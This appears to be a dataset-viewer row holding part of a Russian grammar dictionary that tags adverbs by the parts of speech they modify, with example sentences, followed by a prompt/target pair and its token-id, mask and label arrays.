tag наречие:чрезмерно { ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // Можно возразить, что это чрезмерно пессимистическая оценка.
tag наречие:идеально { ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } //
tag наречие:необычайно { ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:НАРЕЧ } // В нем было что-то необычайно дружелюбное.
tag наречие:Особо{ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // Особо интересных сюжетных поворотов ждать не стоит.
tag наречие:страшно{ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // А теперь чувствовала себя страшно опустошенной.
tag наречие:неизъяснимо{ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // В этом было что-то неизъяснимо притягательное.
tag наречие:пунктуально{ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // Есть также пунктуально деловитые попрошайки.
tag наречие:существенно{ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // Остальным достались существенно меньшие доли.
tag наречие:разочаровывающе{ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // Матч получился разочаровывающе скучным.
tag наречие:еле{ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // Ее обескровленное лицо было пугающе белым.
tag наречие:подряд{ ТИП_МОДИФ:ГЛАГ } // Ели все подряд долго и досыта...
tag наречие:еле{ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ } // Еле слышный вздох вырвался у Клэр.
tag наречие:поистине{ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // Ей присуща была поистине детская непосредственность.
tag наречие:неправдоподобно{ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:особенно{ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // Ее матоватая кожа казалась особенно бледной.
tag наречие:ужасающе{ ТИП_МОДИФ:ПРИЛ } // Ее нехитрая одежда была ужасающе грязной.
tag наречие:неудовлетворительно{ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // Неудовлетворительно низкой является инновационная активность.
tag наречие:несказанно{ ТИП_МОДИФ:ПРИЛ } // В нем было что-то несказанно привлекательное.
tag наречие:истинно{ ТИП_МОДИФ:ПРИЛ } // В вас есть истинно славянский шарм!
tag наречие:по-настоящему{ ТИП_МОДИФ:ПРИЛ } // Ему не выдержать по-настоящему крупного шторма.
tag наречие:патриотически{ ТИП_МОДИФ:ПРИЛ } // Ее активистам подарил патриотически настроенный одессит.
tag наречие:несколько{ ТИП_МОДИФ:ПРИЛ } // Ее лицо приобрело несколько смущенное выражение.
tag наречие:возбуждающе{ ТИП_МОДИФ:ПРИЛ } // Ее голос снова стал возбуждающе хриплым.
tag наречие:смертельно{ ТИП_МОДИФ:ПРИЛ } // Ее лицо было по-прежнему смертельно бледным.
tag наречие:весело{ ТИП_МОДИФ:ПРИЛ } // Ее внимание привлекли весело мигающие огоньки.
tag наречие:непередаваемо{ ТИП_МОДИФ:ПРИЛ } // Ее глаза приняли непередаваемо синий цвет.
tag наречие:невыразимо{ ТИП_МОДИФ:ПРИЛ }
tag наречие:в высшей степени{ ТИП_МОДИФ:ПРИЛ } // Ее рассказ показался мне в высшей степени фантастическим.
tag наречие:обжигающе{ ТИП_МОДИФ:ПРИЛ } // Ее пронзил обжигающе ледяной клинок силы.
tag наречие:социально{ ТИП_МОДИФ:ПРИЛ } // Приоритет отдается социально значимым объектам.
tag наречие:сугубо{ ТИП_МОДИФ:ПРИЛ } // Более полутора веков орден был сугубо мужским.
tag наречие:заведомо{ ТИП_МОДИФ:ПРИЛ } // Поэтому курс окажется заведомо низким.
tag наречие:Некогда{ ТИП_МОДИФ:ПРИЛ } // Некогда сияющие краски померкли.
tag наречие:Аномально{ ТИП_МОДИФ:ПРИЛ } // Аномально теплая погода наблюдается в Бурятии
tag наречие:срочно{ ТИП_МОДИФ:ГЛАГ }
tag наречие:немедленно{ ТИП_МОДИФ:ГЛАГ }
// эти наречия выступают в роли модификаторов наречий
tag наречие:кричаще{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // В ней все было кричаще вульгарно.
tag наречие:болезненно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // В огромном помещении было болезненно тихо.
tag наречие:нарочито{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // При этом она действовала нарочито медленно.
tag наречие:буквально{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // оно появилось буквально ниоткуда.
tag наречие:неестественно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // живые зеленые глаза смотрели неестественно печально
tag наречие:прямо{ ТИП_МОДИФ:НАРЕЧ }
tag наречие:как-то{ ТИП_МОДИФ:НАРЕЧ } // пришел-то он как-то по-паучьи.
tag наречие:так{ ТИП_МОДИФ:НАРЕЧ } // так приятно сделать другу подарок
tag наречие:столь{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ } // прошло столь много лет!
tag наречие:настолько{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // В комнате отдыха было настолько темно
tag наречие:насколько{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // Насколько просто купить оружие в Техасе?
tag наречие:вполне{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:по крайней мере{ ТИП_МОДИФ:НАРЕЧ } // по крайней мере так ему сказали
tag наречие:почти{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:чуть{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ } // тонкие губы лесного стрелка чуть заметно дрогнули.
tag наречие:совсем{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:слишком{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:словно{ ТИП_МОДИФ:НАРЕЧ } // страх пришел словно извне.
tag наречие:неожиданно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // однако камень поднялся неожиданно легко.
tag наречие:просто{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // мои колени чувствуют себя просто великолепно
tag наречие:хоть{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:ПРИЛ } // постарайтесь теперь поспать хоть немного
tag наречие:даже{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ГЛАГ } // мне жаль тебя даже сейчас
tag наречие:абсолютно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ } // остальные выглядели абсолютно нормально.
tag наречие:относительно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ } // первый час прошел относительно тихо.
tag наречие:довольно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ } // довольно скоро донесся шум двигателей.
tag наречие:сравнительно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ } // писать начал сравнительно недавно.
tag наречие:действительно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // идти пришлось действительно недалеко.
tag наречие:невыносимо{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // обед тянулся невыносимо долго.
tag наречие:бесконечно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // молчание тянулось бесконечно долго.
tag наречие:угрожающе{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // стены проносились угрожающе близко.
tag наречие:совершенно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:ничуть{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:очень{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:весьма{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:крайне{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:исключительно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:достаточно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:чрезвычайно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ}
tag наречие:нестерпимо{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // Было нестерпимо душно.
tag наречие:неимоверно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ } // Было неимоверно трудно.
tag наречие:чертовски{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ}
tag наречие:максимально{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:более{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ }
tag наречие:менее{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ }
tag наречие:недопустимо{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:неприемлемо{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:невероятно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:невозможно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:невообразимо{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:фантастически{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:сногсшибательно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:феерически{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:охуительно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:уже{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:"все еще"{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:практически{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:юридически{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:логически{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:чересчур{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:физически{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ }
tag наречие:едва{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ}
tag наречие:немного{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:чуточку{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:только{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ГЛАГ }
tag наречие:еле{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:особенно{ ТИП_МОДИФ:НАРЕЧ } // вдруг свет вспыхнул особенно ярко.
tag наречие:ужасно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // вдруг стало ужасно тихо.
tag наречие:эстетически{ ТИП_МОДИФ:НАРЕЧ } // сделать это эстетически верно
tag наречие:непривычно{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // дверь за ними захлопнулась непривычно тихо.
tag наречие:вызывающе{ ТИП_МОДИФ:НАРЕЧ ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ } // Одевается вызывающе броско.
// Эта группа наречий может атрибутировать модификаторы наречий:
// Он поет уже очень долго
// ^^^
tag наречие:уже{ ТИП_МОДИФ:НАРЕЧ0 } // она длилась уже так долго
tag наречие:почти{ ТИП_МОДИФ:НАРЕЧ0 }
tag наречие:иногда{ ТИП_МОДИФ:НАРЕЧ0 }
tag наречие:временами{ ТИП_МОДИФ:НАРЕЧ0 }
tag наречие:сначала{ ТИП_МОДИФ:НАРЕЧ0 }
tag наречие:затем{ ТИП_МОДИФ:НАРЕЧ0 }
tag наречие:"в конце концов"{ ТИП_МОДИФ:НАРЕЧ0 }
tag наречие:наконец{ ТИП_МОДИФ:НАРЕЧ0 }
// Эти наречия могут модифицировать существительное в родительном падеже:
tag наречие:полно{ ТИП_МОДИФ:СУЩ } // у него было полно работы
tag наречие:полным-полно{ ТИП_МОДИФ:СУЩ } // В замке было полным-полно его слуг.
tag наречие:столько{ ТИП_МОДИФ:СУЩ }
tag наречие:сколько{ ТИП_МОДИФ:СУЩ }
tag наречие:сколько-то{ ТИП_МОДИФ:СУЩ }
tag наречие:столько-то{ ТИП_МОДИФ:СУЩ } // Столько-то красок и времени - столько-то денег.
tag наречие:несколько{ ТИП_МОДИФ:СУЩ }
tag наречие:много{ ТИП_МОДИФ:СУЩ }
tag наречие:невпроворот{ ТИП_МОДИФ:СУЩ } // А я поеду, дел невпроворот.
tag наречие:дохера{ ТИП_МОДИФ:СУЩ }
tag наречие:дохерища{ ТИП_МОДИФ:СУЩ }
tag наречие:дофига{ ТИП_МОДИФ:СУЩ }
tag наречие:дофигища{ ТИП_МОДИФ:СУЩ }
tag наречие:дохуя{ ТИП_МОДИФ:СУЩ }
tag наречие:дохуища{ ТИП_МОДИФ:СУЩ }
tag наречие:больше всего{ ТИП_МОДИФ:СУЩ } // Больше всего аварий происходит зимой
tag наречие:достаточно{ ТИП_МОДИФ:СУЩ }
tag наречие:предостаточно{ ТИП_МОДИФ:СУЩ } // В погребе форта оказалось предостаточно провизии.
tag наречие:недостаточно{ ТИП_МОДИФ:СУЩ }
tag наречие:немного{ ТИП_МОДИФ:СУЩ }
tag наречие:немножко{ ТИП_МОДИФ:СУЩ }
tag наречие:немножечко{ ТИП_МОДИФ:СУЩ } // попробуем организовать для вас немножко природы
tag наречие:чуточку{ ТИП_МОДИФ:СУЩ } // дать тебе чуточку времени.
tag наречие:мало{ ТИП_МОДИФ:СУЩ }
tag наречие:маловато{ ТИП_МОДИФ:СУЩ }
tag наречие:многовато{ ТИП_МОДИФ:СУЩ }
tag наречие:немало{ ТИП_МОДИФ:СУЩ }
tag наречие:чуть-чуть{ ТИП_МОДИФ:СУЩ }
// Наречия типа ДАЖЕ модифицируют существительное в любом падеже:
tag наречие:даже{ ТИП_МОДИФ:СУЩ2 }
tag наречие:только{ ТИП_МОДИФ:СУЩ2 }
tag наречие:лишь{ ТИП_МОДИФ:СУЩ2 }
tag наречие:всего лишь{ ТИП_МОДИФ:СУЩ2 }
tag наречие:еще{ ТИП_МОДИФ:СУЩ2 } // но прошло еще мгновение
tag наречие:всего{ ТИП_МОДИФ:СУЩ2 } // мы потратили всего час
// Эти наречия модифицируют предлоги:
tag наречие:вслед{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ } // вы поехали вслед за нами
tag наречие:даже{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:аж{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:только{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:только лишь{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:всего{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:всего лишь{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:почти{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ } // мы выследили волка уже у самой границы леса
tag наречие:почти что{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:буквально{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ } // Им предстоит дорога буквально во все регионы страны.
tag наречие:уже{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:особенно{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ } // Устали авиаторы, особенно от этой изнуряющей жары.
tag наречие:именно{ ТИП_МОДИФ:ПРЕДЛ }
tag наречие:исключительно{ ТИП_МОДИФ:ПРЕДЛ }
tag наречие:преимущественно{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:сразу{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ } // Сразу за домами - огороды.
tag наречие:хотя бы{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ } // Хотя бы в три?
tag наречие:вплотную{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:прямо{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:впритык{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:параллельно{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:одновременно{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:невдалеке{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:вблизи{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:тайком{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:наедине{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ } // Ей хотелось остаться наедине со своим унижением.
tag наречие:слева{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:справа{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:сверху{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:снизу{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:вдали{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:недалеко{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:неподалеку{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:вместе{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:рядом{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:рядышком{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:в обнимку{ ТИП_МОДИФ:ПРЕДЛ }
tag наречие:в обнимочку{ ТИП_МОДИФ:ПРЕДЛ }
tag наречие:вплоть{ ТИП_МОДИФ:ПРЕДЛ }
tag наречие:задолго{ ТИП_МОДИФ:ПРЕДЛ }
tag наречие:незадолго{ ТИП_МОДИФ:ПРЕДЛ }
tag наречие:вскоре{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:верхом{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ }
tag наречие:следом{ ТИП_МОДИФ:ПРЕДЛ ТИП_МОДИФ:ГЛАГ } // Она двинулась следом за проводником.
}
| Внешне притихший Салидар на самом деле бурлил.
| tag наречие:Внешне{ТИП_МОДИФ:ПРИЛ ТИП_МОДИФ:ГЛАГ ТИП_МОДИФ:НАРЕЧ} | 1,841,666 | [
1,
145,
245,
145,
126,
145,
118,
146,
235,
145,
126,
145,
118,
225,
145,
128,
146,
227,
145,
121,
146,
229,
145,
121,
146,
232,
146,
235,
145,
121,
145,
122,
225,
145,
99,
145,
113,
145,
124,
145,
121,
145,
117,
145,
113,
146,
227,
225,
145,
126,
145,
113,
225,
146,
228,
145,
113,
145,
125,
145,
127,
145,
125,
225,
145,
117,
145,
118,
145,
124,
145,
118,
225,
145,
114,
146,
230,
146,
227,
145,
124,
145,
121,
145,
124,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
2692,
225,
145,
126,
145,
113,
146,
227,
145,
118,
146,
234,
145,
121,
145,
118,
30,
145,
245,
145,
126,
145,
118,
146,
235,
145,
126,
145,
118,
95,
145,
100,
145,
251,
145,
258,
67,
145,
255,
145,
257,
145,
247,
145,
251,
145,
102,
30,
145,
258,
145,
259,
145,
251,
145,
254,
225,
145,
100,
145,
251,
145,
258,
67,
145,
255,
145,
257,
145,
247,
145,
251,
145,
102,
30,
145,
246,
145,
254,
145,
243,
145,
246,
225,
145,
100,
145,
251,
145,
258,
67,
145,
255,
145,
257,
145,
247,
145,
251,
145,
102,
30,
145,
256,
145,
243,
145,
259,
145,
248,
145,
105,
97,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.